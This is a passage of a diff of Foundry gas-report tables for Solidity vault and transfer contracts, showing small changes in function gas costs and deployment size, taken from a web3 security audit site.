-│ settleVault                                  ┆ 2864            ┆ 197792 ┆ 307422 ┆ 307422 ┆ 25      │
+│ settleVault                                  ┆ 2864            ┆ 197821 ┆ 307466 ┆ 307466 ┆ 25      │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ withdrawContribution                         ┆ 3947            ┆ 7867   ┆ 5842   ┆ 13812  ┆ 3       │
 ╰──────────────────────────────────────────────┴─────────────────┴────────┴────────┴────────┴─────────╯
@@ -409,7 +415,7 @@ Test result: ok. 17 passed; 0 failed; finished in 1.66s
 ╞═════════════════════════════════════════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡
 │ Deployment Cost                                         ┆ Deployment Size ┆        ┆        ┆        ┆         │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ 1370801                                                 ┆ 6894            ┆        ┆        ┆        ┆         │
+│ 1373608                                                 ┆ 6908            ┆        ┆        ┆        ┆         │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ Function Name                                           ┆ min             ┆ avg    ┆ median ┆ max    ┆ # calls │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
@@ -417,9 +423,9 @@ Test result: ok. 17 passed; 0 failed; finished in 1.66s
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ batchDepositERC20                                       ┆ 28020           ┆ 28020  ┆ 28020  ┆ 28020  ┆ 1       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ batchDepositERC721                                      ┆ 25132           ┆ 25132  ┆ 25132  ┆ 25132  ┆ 1       │
+│ batchDepositERC721                                      ┆ 25178           ┆ 25178  ┆ 25178  ┆ 25178  ┆ 1       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ deployVault                                             ┆ 320402          ┆ 321613 ┆ 320402 ┆ 376137 ┆ 92      │
+│ deployVault                                             ┆ 320569          ┆ 321780 ┆ 320569 ┆ 376304 ┆ 92      │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ generateMerkleTree                                      ┆ 12097           ┆ 12097  ┆ 12097  ┆ 12097  ┆ 153     │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
@@ -429,7 +435,7 @@ Test result: ok. 17 passed; 0 failed; finished in 1.66s
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ getRoot                                                 ┆ 4837            ┆ 4837   ┆ 4837   ┆ 4837   ┆ 153     │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ multicall                                               ┆ 113609          ┆ 113609 ┆ 113609 ┆ 113609 ┆ 1       │
+│ multicall                                               ┆ 113655          ┆ 113655 ┆ 113655 ┆ 113655 ┆ 1       │
 ╰─────────────────────────────────────────────────────────┴─────────────────┴────────┴────────┴────────┴─────────╯
 ╭─────────────────────────────────────────────────────────────────┬─────────────────┬────────┬────────┬────────┬─────────╮
 │ src/references/TransferReference.sol:TransferReference contract ┆                 ┆        ┆        ┆        ┆         │
@@ -472,7 +478,7 @@ Test result: ok. 17 passed; 0 failed; finished in 1.66s
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ Function Name                              ┆ min             ┆ avg   ┆ median ┆ max    ┆ # calls │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ ERC1155BatchTransferFrom                   ┆ 44931           ┆ 61914 ┆ 56832  ┆ 101245 ┆ 5       │
+│ ERC1155BatchTransferFrom                   ┆ 44967           ┆ 61928 ┆ 56832  ┆ 101245 ┆ 5       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ ERC1155TransferFrom                        ┆ 20215           ┆ 22285 ┆ 22555  ┆ 23815  ┆ 4       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter